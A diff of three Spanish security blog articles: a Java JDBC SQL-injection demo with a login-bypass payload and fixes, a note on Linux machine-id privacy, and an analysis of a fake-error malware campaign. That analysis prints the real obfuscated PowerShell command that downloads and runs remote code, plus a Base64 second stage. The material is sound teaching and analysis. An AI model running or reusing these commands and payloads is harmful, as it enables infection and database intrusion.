+import java.awt.event.WindowEvent;
+import java.awt.event.WindowListener;
+import java.io.IOException;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+
+import javax.swing.JButton;
+import javax.swing.JFrame;
+import javax.swing.JLabel;
+import javax.swing.JTextField;
+import javax.swing.SwingConstants;
+
+public class SQLInjection extends JFrame implements WindowListener {
+ private static final long serialVersionUID = 1L;
+
+ JLabel lblUsuario = new JLabel("Usuario: ");
+ JLabel lblPass = new JLabel("Pass: ");
+ JTextField txtUsuario = new JTextField("");
+ JTextField txtPass = new JTextField("");
+ JLabel lblSecreto = new JLabel("Secreto", SwingConstants.CENTER);
+ JButton btnAceptar = new JButton("Aceptar");
+ JButton btnLimpiar = new JButton("Limpiar");
+
+ public SQLInjection() throws ClassNotFoundException, SQLException {
+
+ setLayout(null);
+ setSize(400,250);
+ setTitle("SQL Injection Test");
+ setLocationRelativeTo(null);
+ setVisible(true);
+
+ add(lblUsuario); lblUsuario .setBounds(1, 1, 100, 50);
+ add(txtUsuario); txtUsuario .setBounds(100, 1, 300, 50);
+ add(lblPass); lblPass .setBounds(1, 60, 100, 50);
+ add(txtPass); txtPass .setBounds(100, 60, 300, 50);
+ add(lblSecreto); lblSecreto .setBounds(0, 120, 400, 50);
+ add(btnLimpiar); btnLimpiar .setBounds(95, 180, 100, 50);
+ add(btnAceptar); btnAceptar .setBounds(205, 180, 100, 50);
+
+ Class.forName("org.mariadb.jdbc.Driver");
+ String dbpass = "";
+ Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/dbftwr", "root", dbpass);
+ Statement s = connection.createStatement();
+
+ addWindowListener(this);
+ // Botón cuya función es limpiar los campos de texto
+ btnLimpiar.addActionListener((ActionEvent event) -> {
+ txtUsuario.setText("");
+ txtPass.setText("");
+ });
+
+ btnAceptar.addActionListener((ActionEvent event) -> {
+ try {
+ ResultSet rs = s.executeQuery("select secreto from Usuarios where (nombre = '" + txtUsuario.getText() + "' and pass = '" + txtPass.getText() + "');");
+ rs.next();
+ lblSecreto.setText(rs.getString(1));
+ }
+ catch (SQLException e) {e.printStackTrace();}
+ });
+
+ }
+ public static void main(String[] args) throws NumberFormatException, IOException, ClassNotFoundException, SQLException {new SQLInjection();}
+
+ public void actionPerformed(ActionEvent ae) {}
+ public void windowActivated(WindowEvent we) {}
+ public void windowClosed(WindowEvent we) {}
+ public void windowClosing(WindowEvent we) {this.setVisible(false);}
+ public void windowDeactivated(WindowEvent we) {}
+ public void windowDeiconified(WindowEvent we) {}
+ public void windowIconified(WindowEvent we) {}
+ public void windowOpened(WindowEvent we) {}
+}</code></pre>
+<p>Ejecutando el programa, podemos observar el siguiente resultado. Somos Pedro y conocemos su contraseña: 123456. Por lo que será nuestro conejillo de indias, de tal forma que tras iniciar sesión conoceremos el secreto de Pedro:</p>
+<img style="width: 300px;" src="jdbc1.png" />
+<p>Los dos bloques de código que nos ocupan son los siguientes: el bloque de conexión a la base de datos y el contenido del botón de aceptar, que almacena la consulta.</p>
+<pre><code>Class.forName("org.mariadb.jdbc.Driver");
+String dbpass = "";
+Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/dbftwr", "root", dbpass);
+Statement s = connection.createStatement();
+
+btnAceptar.addActionListener((ActionEvent event) -> {
+ try {
+ ResultSet rs = s.executeQuery("select secreto from Usuarios where (nombre = '" + txtUsuario.getText() + "' and pass = '" + txtPass.getText() + "');");
+ rs.next();
+ lblSecreto.setText(rs.getString(1));
+ }
+ catch (SQLException e) {e.printStackTrace();}
+});</code></pre>
+<p>Como vemos la consulta <emb>select secreto from Usuarios where (nombre = '" + txtUsuario.getText() + "' and pass = '" + txtPass.getText() + "');</emb> es vulnerable a un SQL Injetion, ya que al almacenar las variables directamente en la sentencia SQL, enviará la cadena de texto tal y como lo recoja de los campos de texto. Por lo que podemos jugar. Una consulta típica, siguiendo el ejemplo de pedro, sería:</p>
+<pre><codeb>select secreto from Usuarios where (nombre = ' pedro ' and pass = ' 123456 ');</codeb></pre>
+<p>Esta sentencia mostraría el secreto de la tabla <emb>Usuarios</emb>, donde el nombre sea <emb>pedro</emb> y su contraseña 123456. Con esto comprobamos que la contraseña corresponda al usuario. Al ser nombre igual a pedro devolverá un booleano true (verdadero); al ser la contraseña 123456 también devolverá un booleano true. <emb>True AND True = True</emb>: Sesión iniciada correctamente. Pero ¿y si insertamos código SQL, para engañar al servidor y que nos muestre el secreto de quien queramos, sin necesidad de conocer su contraseña?. Esto lo podemos hacer aprovechando esta vulnerabilidad.</p>
+</body>
+<pre><codeb>select secreto from Usuarios where (nombre = ' pedro' or '1'='1 ' and pass = '');</codeb></pre>
+<p>De esta forma hemos injectado código: asignamos el nombre, es pedro (es true). O bien (<emb>1=1</emb> -sentencia obviamente cierta, verdadera- y <emb>pass=''</emb> (cadena en blanco, obviamente falsa). <emb>True OR (True AND False) = True OR False = True</emb>. Obtenemos finalmente un booleano verdadero, sin conocer la contraseña, lo que nos devolverá el secreto de este usuario. Podemos realizar una prueba con el usuario Miguel, el cual no conocemos su contraseña.</p>
+<img style="width: 300px;" src="jdbc2.png" />
+<p>¿Cómo podemos solucionarlo? Con el fin de evitar este tipo de ataques sobre nuestro programa deberemos utilizar el método seguro: sustituir el <emb>Statement</emb> por el <emb>PreparedStatement</emb>. Vemos el bloque de código que hemos de editar: en primer lugar comentamos nuestro <emb>Statement</emb>, ya que no le daremos uso. Lo sustituimos por el <emb>PreparedStatement</emb>, donde le indicamos directamente la sentencia SQL; sustituyendo los elementos a insertar por signos de cerrar interrogación (?) (omitir comillas). Con la órden <emb>ps(PreparedStatement).setString</emb> y el número de posición del elemento que hemos colocado en la sentencia, indicaremos el valor a dar, ya sea una variable o un <emb>getText()</emb> como en mi caso.</p>
+<pre><code>Class.forName("org.mariadb.jdbc.Driver");
+String dbpass = "";
+Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/dbftwr", "root", dbpass);
+//Statement s = connection.createStatement();
+
+btnAceptar.addActionListener((ActionEvent event) -> {
+ try {
+ PreparedStatement ps = connection.prepareStatement("select secreto from Usuarios where (nombre=? and pass=?)");
+ ps.setString(1, txtUsuario.getText());
+ ps.setString(2, txtPass.getText());
+ ResultSet rs = ps.executeQuery();
+ rs.next();
+
+ lblSecreto.setText(rs.getString(1));
+ }
+ catch (SQLException e) {e.printStackTrace();}
+});</code></pre>
+<p>Otra alternativa, también válida, para solventar esta vulnerabilidad, es hacer una única sentencia sin posibilidad de edición. Y a su vez jugar con las respuestas. El código será similar, de forma que:</p>
+<pre><code>Class.forName("org.mariadb.jdbc.Driver");
+String dbpass = "";
+Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/dbftwr", "root", dbpass);
+Statement s = connection.createStatement();
+
+btnAceptar.addActionListener((ActionEvent event) -> {
+ try {
+ ResultSet rs = s.executeQuery("select * from Usuarios;");
+ while (rs.next()) {
+ if (rs.getString(2).equals(txtUsuario.getText()) && rs.getString(3).equals(txtPass.getText())) {
+ lblSecreto.setText(rs.getString(4));
+ break;
+ }
+ else {lblSecreto.setText("ERROR");}
+ }
+ }
+ catch (SQLException e) {e.printStackTrace();}
+});</code></pre>
+<p>Como podemos ver, el bloque de conexión se mantiene intacto a la primera opción. El interior del botón simplemente tendrá la sentencia <emb>select * from Usuarios</emb>. De los resultados que obtenga, mientras haya irá recorriendo de uno en uno, comprobando que el contenido del campo de texto de usuario sea el mismo que el nombre de usuario de la tabla, Y el contenido del campo de texto de la contraseña sea igual a la contraseña del usuario de la tabla. Si estas condiciones se cumplen, se mostrará el secreto, sino, mostrará un error.</p>
+<img style="width: 70%;" src="jdbc3.png" />
+<p>De esta forma, al no modificar la sentencia directamente, sino jugar con sus resultados evitaremos esta vulnerabilidad en concreto. Así, hemos explotado y solucionado el riesgo que supone la vulnerabilidad de SQL Injection en nuestro software, evitando así posibles ataques a nuestra base de datos.</p>
+</html>
+\ No newline at end of file
diff --git a/jdbc-sql-injection/jdbc1.png b/jdbc-sql-injection/jdbc1.png
Binary files differ.
diff --git a/jdbc-sql-injection/jdbc2.png b/jdbc-sql-injection/jdbc2.png
Binary files differ.
diff --git a/jdbc-sql-injection/jdbc3.png b/jdbc-sql-injection/jdbc3.png
Binary files differ.
diff --git a/machine-id/index.html b/machine-id/index.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Del machine-id en relación al clonado de discos</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Del <i>machine-id</i> en relación al clonado de discos</p>
+<p class="date">22 de marzo de 2021 • fjbalon</p>
+</header>
+<p>¿Qué es el <emb>machine-id</emb>? Desde las páginas de <a href="https://www.man7.org/linux/man-pages/man5/machine-id.5.html">man</a> se define como un identificador exclusivo de la máquina. «Este debe considerarse confidencial y no debe exponerse en entornos que no sean de confianza» se encuentra escrito en la documentación, lo que de primeras nos presenta algunos problemas que he desarrollado más adelante.</p>
+<p>Lo primero que hay que entender es que éste se genera en el momento de la instalación del sistema operativo sobre el hardware concreto. Cuando, como administradores de sistemas nos dedicamos a clonar discos, es común que éstos mantengan el mismo identificador, generado a partir del hardware inicial del primer elemento de la clonación. Esto puede provocar conflicto a posteriori, por ejemplo, cuando generamos una interfaz de red bridge, que generará la MAC a partir del <emb>machine-id</emb>, y podría ocasionar conflicto en la red por simultaneidad.</p>
+<p>Lo segundo, quizá, es su uso. El uso que da <emb>systemd</emb> al <emb>machine-id</emb> parece ambiguo, sirviendo a:</p>
+<ul>
+<li>La creación de identificador de host DHCP (probablemente causando que varias máquinas peleen por la misma dirección IP en el servidor DHCP).</li>
+<li>GNOME almacena la configuración del diseño de pantalla firmada por el identificador.</li>
+<li>El gestor de arranque EFI de <emb>systemd-boot</emb> almacena los kernels de instalación del sistema operativo en un directorio con el nombre del identificador para evitar colisiones.</li>
+</ul>
+<p>Aunque probablemente tenga más usos obtusos que no serán conocidos hasta estudiar profundamente el código.</p>
+<p>El fichero que almacena dicho <emb>machine-id</emb> es <emb>/etc/machine-id</emb>. Observará que este valor también se almacena en <emb>/var/lib/dbus/machine-id</emb> y que existe un enlace simbólico entre los dos. Cualquier cambio en un archivo, se reflejará en el otro.</p>
+<pre><code>cat /etc/machine-id
+35f7f8a5f915453782892638656ad9fd
+cat /var/lib/dbus/machine-id
+35f7f8a5f915453782892638656ad9fd
+ls -l /var/lib/dbus/machine-id
+lrwxrwxrwx 1 root root 15 nov 11 2021 /var/lib/dbus/machine-id -> /etc/machine-id</code></pre>
+<p>Como decíamos, el <emb>machine-id</emb> se genera aleatoriamente en la instalación del sistema utilizando la utilidad <emb>systemd-machine-id-setup</emb>, que llama a su vez a <emb>dbus-uuidgen</emb>. Cambiarlo manualmente es muy sencillo y puede hacerse desde cualquiera de las utilidades citadas:</p>
+<pre><code>sudo rm /etc/machine-id
+sudo systemd-machine-id-setup
+
+sudo rm /etc/machine-id
+sudo dbus-uuidgen --ensure=/etc/machine-id</code></pre>
+<p>Pero, ¿qué tiene que decir dicho identificador en cuanto a la privacidad? En un esfuerzo por asegurar la privacidad, tener un identificador único e inmutable vinculado directamente al dispositivo no parece un enfoque adecuado.</p>
+<p>Recordamos además que el propio manual indica que el contenido es confidencial y no debe ser compartido. Sin embargo, no existe mecanismo ni inconveniente en que cualquier software tenga acceso a estos ficheros, permitiendo leer y almacenar el <emb>machine-id</emb> para el uso que fuera, sea accidental o malintencionado. Es cierto que también es accesible /sys, que contiene información sobre cada dispositivo conectado al sistema -inclusive las series de dispositivos USB únicas-. Por lo que si se requiere protección de confianza contra aplicaciones locales, se requerirá una solución de espacio aislado. Aún así, mantener o asegurar la no-integridad -de cara a terceros- del identificador parece algo deseable.</p>
+<p>De nada sirve que nos indiquen que debe guardarse confidencialmente, cuando los permisos son de lectura para todos:</p>
+<pre><code>ls -hal /etc/machine-id
+-r--r--r-- 1 root root 33 jul 11 14:28 /etc/machine-id
+cat /etc/machine-id
+9f00b9e6f49f45299a05a5ff8fd697df</code></pre>
+<p>Su exclusión o eliminación en un sistema basado en <emb>systemd</emb> tampoco parece ser una acción conveniente, pues este identificador se utiliza para identificar máquinas en <emb>journalctl</emb>, así como para identificar máquinas en comunicaciones D-Bus. ¿Quizá podamos ponerlo a 0? Tampoco, espera una cadena de 32 caracteres.</p>
+<p>Sabiendo entonces la facilidad que hay para cambiarlo, ¿por qué no automatizar un <emb>cronjob</emb> para que se cambie cada cierto tiempo? Por poner un modo paranoico, se podría hacer para que cambie cada minuto:</p>
+<pre><code>sudo crontab -e
+
+*/1 * * * * rm /etc/machine-id && dbus-uuidgen --ensure=/etc/machine-id</code></pre>
+<p>Dicha automatización presentaría una solución a los problemas de privacidad que surgen de mantener un identificador accesible a todos. Sin embargo, ¿es seguro hacer algo así?. Aparentemente, parece que generar nuevas identificaciones en caliente pueden presentar inconvenientes. Tal y como indica la documentación:</p>
+<cita>
+<p>«Si intenta cambiar un id de máquina existente en un sistema en ejecución, es probable que sucedan cosas inconvenientes. No intente cambiar este archivo. Además, no lo haga igual en dos sistemas diferentes; debe ser diferente cada vez que haya dos núcleos diferentes en ejecución.»</p>
+<p><a href="https://dbus.freedesktop.org/doc/dbus-uuidgen.1.html">dbus-uuidgen</a></p>
+</cita>
+<p>No parece entonces, muy conveniente, automatizar la actualización del <emb>machine-id</emb> dentro de la misma ejecución temporal: podría causar problemas. Puede generar, por ejemplo, discrepancias en su identificador por parte de los servidores DHCP, que identifican a la máquina a raíz última del <emb>machine-id</emb>; especialmente en configuraciones de red que utilicen bridges.</p>
+<p>Por otro lado, es llamativo saber que Whonix OS no genera un nuevo <emb>machine-id</emb> tras cada reinicio, sin embargo, mantiene el mismo para todos los usuarios. Algo que sí hace Tails. Quizá, una mejor opción para garantizar de alguna forma la privacidad es la de generar un nuevo identificador en cada inicio, tal y como hace Tails:</p>
+<pre><code>sudo crontab -e
+
+@reboot rm /etc/machine-id && dbus-uuidgen --ensure=/etc/machine-id</code></pre>
+<p>De tal forma que durante la sesión temporal que dura el uptime el sistema sea identificado de una manera, pero al iniciar de nuevo el sistema sea identificado de otra. Aunque si la privacidad relacionada con el <emb>machine-id</emb> preocupa, quizá, la mejor forma de solventar el riesgo es utilizar un sistema sin <emb>systemd</emb>.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/propagacion-malware-script/imagen1.jpeg b/propagacion-malware-script/imagen1.jpeg
Binary files differ.
diff --git a/propagacion-malware-script/imagen2.jpeg b/propagacion-malware-script/imagen2.jpeg
Binary files differ.
diff --git a/propagacion-malware-script/imagen3.jpeg b/propagacion-malware-script/imagen3.jpeg
Binary files differ.
diff --git a/propagacion-malware-script/imagen4.png b/propagacion-malware-script/imagen4.png
Binary files differ.
diff --git a/propagacion-malware-script/index.html b/propagacion-malware-script/index.html
@@ -0,0 +1,165 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Análisis de método de propagación de malware por medio de scripting malicioso</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Análisis de método de propagación de malware por medio de scripting malicioso</p>
+<p class="date">15 de abril de 2025 • fjbalon</p>
+</header>
+<p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anunciar una «IA», con toda la vacuidad con el que se suele usar el término, con el mensaje “Distant buoys nodded in quiet agreement”, sea lo que sea que signifique eso; y el anuncio para crear tu propia «AI Girlfriend». Desde luego tentador, ¿quién no querría una buena novIA?</p>
+<img style="width:40%;" src="imagen1.jpeg" />
+<p>Pero, ¿en qué consiste realmente está novia? He accedido a la web para comprobarlo. Este es su frontend:</p>
+<img src="imagen2.jpeg" />
+<p>No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta diretamente al siguiente “mensaje de error”:</p>
+<img src="imagen3.jpeg" />
+<p>Con unas instrucciones la mar de raras para cualquiera que utilice regularmente un ordenador... Da por hecho, evidentemente, que estás en Microsoft Windows (claro está, un usuario de GNU/Linux no caería en algo tan tonto, espero) y te pide que presiones <kbd>Win</kbd>+<kbd>R</kbd> para abrir la ventana de ejecutar comandos de Windows, <kbd>Ctrl</kbd>+<kbd>V</kbd> para pegar lo que previamente el script de JavaScript ha copiado en tu portapapeles, y presiones ejecutar.</p>
+<img style="width:40%;" src="imagen4.png" />
+<p>La vista del comando a ejecutar es <emb>tiate forse restart browser</emb>. El comando más falso que he visto nunca, ese comando no existe, además de estar muy mal escrito. Vemos el contenido real que se iría a ejecutar; el comando entero que tenemos en el portapapeles:</p>
+<pre><code>cmd /c powershell -w hidden -c "$CHROME='i'+'e'+'x'; $SOCKET='i'+'w'+'r';
+$UPLOAD='https:/'+'/kutt.i'+'t/ReSeT'; &($CHROME) ((&($SOCKET) $UPLOAD -UseBasicParsing).Content)"
+# Initiate forse restart browser</code></pre>
+<p>Esto es otra cosa, sí es un comando de verdad. Veamos qué hace:</p>
+<p><emb>cmd /c</emb> ejecuta un comando que consiste en lanza <emb>powershell -w hidden</emb> el intérprete de PowerShell (un equivalente, para que se me entienda, de Bash) en modo oculto, sin mostrar ventana visible. Tras <emb>-c</emb> se indica el comando. A partir de aquí se indica el script de PowerShell.</p>
+<p><emb>$UPLOAD='i'+'e'+'x'</emb> construye la cadena </emb>"iex"</emb>, que es el alias de </emb>Invoke-Expression</emb>, un cmdlet que ejecuta una cadena como código; </emb>$CHROME='i'+'w'+'r'</emb> construye la cadena </emb>"iwr"</emb>, alias de </emb>Invoke-WebRequest</emb> usado para hacer solicitued HTTP. </emb>$SOCKET='https:/'+'/kutt.i'+'t/ReSeT'</emb> construye la URL </emb>http://kutt.it/ReSeT</emb>.</p>
+<p>Finalmente, hace la llamada que viene construyendo y declarando con <emb>&($UPLOAD) ((&($CHROME) $SOCKET -UseBasicParsing).Content)</emb>, es decir, descarga y extrae el contenido de la respuesta HTTP de la URL y ejecuta el código usando </emb>Invoke-Expression</emb>.</p>
+<p><emb># Initiate forse restart browser</emb> es simplemente un comentario de código, con el objetivo de aparecer en el campo de texto de la ventana de ejecución y engañar a los incautos.</p>
+<p>El código que descarga es el siguiente:</p>
+<pre><codeb>$tFCTUeCs=[System.Text.Encoding]::Unicode; $YqMACnAc=[Convert]::FromBase64String
+('JABiAHQAYQBnACAAPQAgACIAIwAxAFIAZQBzAGUAdAAiAAoAIwAgAEQAbwBVAEIAZQBDAGUAWgBRAGIAVQBlAE8AQgBOAGMACgAkAHQAZwBkACAAPQAgACIALQAxADAAMAAyADUAOQA3ADQAMAAxADMAMwA5ACIACgAkAGgAZAAgACAAPQAgACIAaAB0AHQAcABzADoALwAvAGgAawBkAGsALgBlAHYAZQBuAHQAcwAvADcAdAB2AG4ANABpAHEAcwAyADcAOABkAHEAbwAiAAoAJAB6AGwAIAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAGUAdgAuAGEAegB1AHIAZQAuAGMAbwBtAC8AZABvAHcAbgB1AHAAZAB0AGUAcwAvADAAYgBlADcAOQA3ADMANgAtADYAYwBhADkALQA0ADkAMQBiAC0AYgBlADIAMQAtADAAMAAxADUAOQAzAGUANAA4AGQAOAA4AC8AXwBhAHAAaQBzAC8AZwBpAHQALwByAGUAcABvAHMAaQB0AG8AcgBpAGUAcwAvAGIAYQAwADMAYQA1AGIANgAtADIAMgAyADEALQA0AGYAMAAwAC0AYQBkADEAMgAtADEAMQBmADkAZQBhAGEANwBhADkAYgBkAC8AaQB0AGUAbQBzAD8AcABhAHQAaAA9AC8AcgB1AG4ANAA3AC4AegBpAHAAJgB2AGUAcgBzAGkAbwBuAEQAZQBzAGMAcgBpAHAAdABvAHIAJQA1AEIAdgBlAHIAcwBpAG8AbgBPAHAAdABpAG8AbgBzACUANQBEAD0AMAAmAHYAZQByAHMAaQBvAG4ARABlAHMAYwByAGkAcAB0AG8AcgAlADUAQgB2AGUAcgBzAGkAbwBuAFQAeQBwAGUAJQA1AEQAPQAwACYAdgBlAHIAcwBpAG8AbgBEAGUAcwBjAHIAaQBwAHQAbwByACUANQBCAHYAZQByAHMAaQBvAG4AJQA1AEQAPQBtAGEAaQBuACYAcgBlAHMAbwBsAHYAZQBMAGYAcwA9AHQAcgB1AGUAJgAlADIANABmAG8AcgBtAGEAdAA9AG8AYwB0AGUAdABTAHQAcgBlAGEAbQAmAGEAcABpAC0AdgBlAHIAcwBpAG8AbgA9ADUALgAwACYAZABvAHcAbgBsAG8AYQBkAD0AdAByAHUAZQAiAAoAJABwAHoAIAAgAD0AIAAiAFEAdwBlAHEAdwBlADEAMgAzADEAMgAzACIACgAKAGYAdQBuAGMAdABpAG8AbgAgAHMAdABnACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABzACwACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAbQAKACAAIAAgACAAKQAKAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABpAHAAIAA9ACAAKABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwA/AGYAbwByAG0AYQB0AD0AagBzAG8AbgAiACkALgBpAHAACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQBwACAAPQAgACIAVQBuAGsAbgBvAHcAbgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAdQAgAD0AIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFAAoAIAAgACAAIAAkAHQAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAcwApAAoAIAAgACAAIAAkAHQAeAB0ACAAPQAgACIAJABiAHQAYQBnAGAAbgBbACQAcwBdACAAJABtAGAAbgBVAHMAZQByADoAIAAkAHUAYABuAEkAUAA6ACAAJABpAHAAYABuAFQAaQBtAGUAOgAgACQAdAAiAAoACgAgACAAIAAgACQAYgAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAYwBoAGEAdABfAGkAZAAgAD0AIAAkAHQAZwBkAAoAIAAgACAAIAAgACAAIAAgAHQAZQB4AHQAIAAgACAAIAA9ACAAJAB0AHgAdAAKACAAIAAgACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAtAEQAZQBwAHQAaAAgADMACgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAGgAZAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAE0AZQB0AGgAbwBkACAAUABPAFMAVAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAIAA9ACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAB9ACAAYAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AQgBvAGQAeQAgACQAYgAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKAH0ACgAKAHQAcgB5ACAAewAKACAAIAAgACAAJABiAGYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4AVgBJAEQASQBBAFwAVQBwAGQAYQB0AGUAUwBlAHIAdgBpAGMAZQAiAAoAIAAgACAAIAAkAG0AYQAgAD0AIAAzAAoAIAAgACAAIAAkAGQAIAA9ACAAJABmAGEAbABzAGUACgAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAxADsAIAAkAGkAIAAtAGwAZQAgACQAbQBhADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgACsAIAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAAoAIAAgACAAIAAgACAAIAAgACQAdABmACAAPQAgACIAJABiAGYAXABUACQAcgAiAAoAIAAgACAAIAAgACAAIAAgACQAegBwACAAPQAgACIAJAB0AGYAXAB6AC4AegBpAHAAIgAKACAAIAAgACAAIAAgACAAIAAkAGUAcAAgAD0AIAAiACQAdABmAFwAYwAiAAoACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABmACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHQAZgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAZQBwACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAHYAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAE4ARQBUACAARgByAGEAbQBlAHcAbwByAGsAIABTAGUAdAB1AHAAXABOAEQAUABcAHYANABcAEYAdQBsAGwAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUgBlAGwAZQBhAHMAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABuAHYAIAAtAGEAbgBkACAAJABuAHYAIAAtAGcAZQAgADMANwA4ADMAOAA5ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkACgAjACAAYwBYAFEAcQB5AFgARQBIAGgATgBNAEsARwBkAHUARgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAGwALgBEAGUAZgBhAHUAbAB0AFIAZQBxAHUAZQBzAHQASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAHMAIAA9ACAAJABjAGwALgBHAGUAdABCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAAkAHoAbAApAC4AUgBlAHMAdQBsAHQACgAjACAAbwByAFMATgBCAGcAcwBGAEUAVgBLAHYATABIAHIAWAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAegBwACwAIAAkAGIAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ARABvAHcAbgB